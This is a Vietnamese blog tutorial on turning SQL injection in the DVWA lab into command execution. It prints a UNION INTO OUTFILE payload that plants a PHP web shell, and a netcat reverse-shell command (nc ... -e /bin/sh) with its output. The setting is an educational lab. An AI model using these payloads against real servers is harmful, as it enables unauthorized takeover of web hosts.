Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell

Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. SQL injection thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng như một vectơ để chiếm shell. Trong bài này, chúng ta sẽ khai thác một lỗ hổng SQL injection đơn giản để thực thi các lệnh và cuối cùng dịch ngược shell trên máy chủ.

sql injection shell

Mình sẽ sử dụng DVWA, một máy ảo dễ bị tấn công và Kali Linux để thực hiện cuộc tấn công. Nếu bạn là người mới sử dụng Kali, bạn nên đọc bài này để biết cách thiết lập và bảo mật Kali, để đảm bảo hệ thống của bạn đã sẵn sàng cho mọi thứ.

Tổng quan về SQL Injection

SQL injection là một trong những lỗ hổng phổ biến nhất gặp phải trên web và cũng có thể là một trong những lỗ hổng nguy hiểm nhất. Những kẻ tấn công có thể tiêm các mã SQL độc hại vào để trích xuất thông tin nhạy cảm, sửa đổi hoặc phá hủy dữ liệu hiện có hoặc leo thang cuộc tấn công nhằm chiếm hữu máy chủ.

Có nhiều kiểu tiêm SQL khác nhau và các phương pháp tấn công khác nhau cho các hệ thống cơ sở dữ liệu khác nhau đang được sử dụng. Mặc dù kiểu tấn công này là một trong những kiểu tấn công dễ bắt đầu học nhất, nhưng bạn vẫn có thể mất vài năm để thành thạo SQL injection.

Bước 1: Thăm dò mục tiêu

Điều đầu tiên chúng ta cần làm là đăng nhập vào DVWA bằng thông tin đăng nhập mặc định, admin là tên người dùng và mật khẩu là password.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 8

Tiếp theo, chuyển đến tab “Security” ở bên trái và đặt mức bảo mật thành “low”. Điều này sẽ đảm bảo cuộc tấn công của chúng ta sẽ diễn ra suôn sẻ.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 9

Điều hướng đến trang “SQL Injection” để bắt đầu cuộc tấn công. Chúng ta có thể thấy rằng chức năng của trang là lấy ID người dùng và trả lại thông tin, trong trường hợp này là họ và tên.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 10

Mình  muốn xác minh rằng đầu vào này thực sự dễ bị tiêm SQL. Điều đầu tiên cần thử là chỉ cần nhập một dấu ngoặc kép duy nhất, điều này sẽ đóng câu lệnh nếu hệ thống thực sự dễ bị tấn công. Và khi mình làm như vậy thì hệ thống trả về lỗi, thậm chí còn cho chúng ta biết cụ thể rằng trang web đang sử dụng MySQL làm cơ sở dữ liệu. Tại thời điểm này, rất có thể chúng ta đã tìm thấy một điểm vào dễ bị tấn công.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 11

Điều tiếp theo chúng ta cần làm là liệt kê cơ sở dữ liệu và xác định số cột đang sử dụng. Điều này sẽ cho phép chúng ta khai thác một cách đáng tin cậy lỗ hổng dựa trên union chỉ trong một chút. Để hiểu rõ hơn, chúng ta hãy xem lệnh truy vấn sẽ trông như thế nào trong quá trình gửi đầu vào bình thường:

select first_name, surname from users where user_id='';

Đây có thể là truy vấn trên backend, với first_name và surname là các cột được chọn, tổng cộng là hai cột. Nhưng chúng ta cần biết chắc chắn để lỗ hổng này hoạt động. Chúng ta có thể sử dụng order by.

Mệnh đề này sẽ sắp xếp các kết quả của truy vấn theo các cột. Vì chúng ta khá chắc chắn rằng có ít nhất hai cột đang được sử dụng, nếu chúng ta sẽ sắp xếp theo thứ tự 1 hoặc 2, truy vấn sẽ thành công. Nhưng nếu chúng ta muốn order by 3 thì sao? Nếu chúng ta đúng, thì truy vấn này sẽ xuất hiện lỗi.

Gửi lần tiêm sau làm đầu vào, và nó sẽ dẫn đến lỗi. Dấu thăng được sử dụng ở đây để comment phần còn lại của truy vấn để nó không gây ra bất kỳ lỗi cú pháp bổ sung nào.

' order by 3 #

Các bạn có thể thấy rằng chúng ta thực sự gặp lỗi, vì vậy bây giờ mình biết chắc chắn rằng chỉ có hai cột đang được sử dụng.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 12

Bước 2: Truy cập Shell và khai thác lệnh

Bây giờ chúng ta đã có thêm một chút thông tin về cơ sở dữ liệu, chúng ta có thể sử dụng điều này làm lợi thế của mình để thực hiện việc tiêm SQL dựa trên union. Toán tử union được sử dụng trong SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh select, nhưng để nó hoạt động bình thường, các câu lệnh phải có cùng số cột. Đây là lý do tại sao chúng ta cần tìm hiểu backend sớm hơn.

Có rất nhiều điều chúng ta có thể làm với việc tiêm dựa trên union, nhưng trong bài này, chúng ta cần quan tâm đến việc tận dụng lỗ hổng này để chạy các lệnh hệ điều hành. Một trong những cách dễ nhất để thực hiện điều này là tải lên một shell PHP đơn giản để chuyển các lệnh của chúng ta qua.

Chúng ta cần xác định thư mục gốc của máy chủ web để tải shell. Tùy thuộc vào ứng dụng và loại máy chủ web đang sử dụng, thư mục gốc có thể khác nhau, đặc biệt nếu quản trị viên thay đổi vị trí mặc định hoặc có đủ quyền. Đối với mục đích của cuộc tấn công này, mình sẽ giả định rằng gốc web mặc định của Apache (/var/www/) đang được sử dụng với quyền ghi công khai. Thông tin về máy chủ web, bao gồm cả thư mục gốc, thường có thể được tìm thấy trong tệp “phpinfo.php”.

Chúng ta có thể sử dụng lệnh into outfile để ghi vào một tệp. Trong trường hợp này, chúng tasẽ chèn một tập lệnh PHP đơn giản để có thể chạy các lệnh hệ thống. Tập lệnh mà mình đặt tên là “cmd.php”, sẽ giống như sau:

<?php system($_GET["cmd"]); ?>

Bây giờ, chúng ta sẽ thực hiện tiêm (injection). Chúng ta sẽ cần sử dụng dấu ngoặc kép trong tập lệnh vì chúng ta cần đặt phần thứ hai của câu lệnh trong dấu nháy đơn – điều này sẽ tránh được lỗi cú pháp. Lệnh tiêm hoàn chỉnh sẽ giống như sau:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #

Nếu lệnh này hoạt động bình thường, chúng ta sẽ có thể truy cập shell của mình thông qua URL và bằng cách cung cấp lệnh hệ thống dưới dạng tham số. Ví dụ, whoami sẽ cung cấp cho chúng ta thông tin người dùng hiện tại.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 13

Hoặc uname -a, sẽ cung cấp cho chúng ta thông tin về hệ thống.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 14

Nhưng việc cung cấp tất cả các lệnh này thông qua tham số URL là một việc rất chán. Chúng ta có thể tận dụng việc này để đảo ngược shell và tiến xa hơn một bước.

Bước 3: Dịch ngược Shell với Netcat

Netcat là một tiện ích mạng mạnh mẽ được sử dụng để khắc phục sự cố kết nối, nhưng nó thực sự có thể bị tin tặc sử dụng như một backdoor và như một phương pháp để chiếm quyền shell. Rất nhiều bản phân phối Linux được cài đặt tiện ích này theo mặc định, vì vậy nếu chúng ta có thể truy cập công cụ này thì game over.

Trước tiên, mình sẽ cần thiết lập trình lắng nghe trên máy cục bộ của chúng ta. Sử dụng lệnh nc cùng với -lvp để chỉ định nó lắng nghe và để đặt số cổng tương ứng.

nc -lvp 1234
listening on [any] 1234 ...

Tiếp theo, với tư cách là tham số cho shell PHP trong URL, hãy nhập lệnh sau. Nó yêu cầu máy chủ thực thi một shell (-e/bin/sh) và gửi nó trở lại máy cục bộ của chúng ta. Bạn cần đảm bảo sử dụng địa chỉ IP và cổng thích hợp.

nc 172.16.1.100 1234 -e /bin/sh

Hãy đợi một vài giây và chúng ta sẽ thấy trình nghe của chúng ta bắt được shell và mở một kết nối. Từ đây, chúng ta có thể chạy các lệnh như id, uname -a và ps.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

Giờ đây, chúng ta đã có đủ phương tiện để thực thi các lệnh trên máy chủ web từ terminal của chính chúng ta, tất cả đều xuất phát từ một lỗ hổng SQL injection đơn giản. Mình mong qua bài viết thực tế này sẽ giúp bạn tiếp thu nhiều kiến thức hơn.

Previous Post Next Post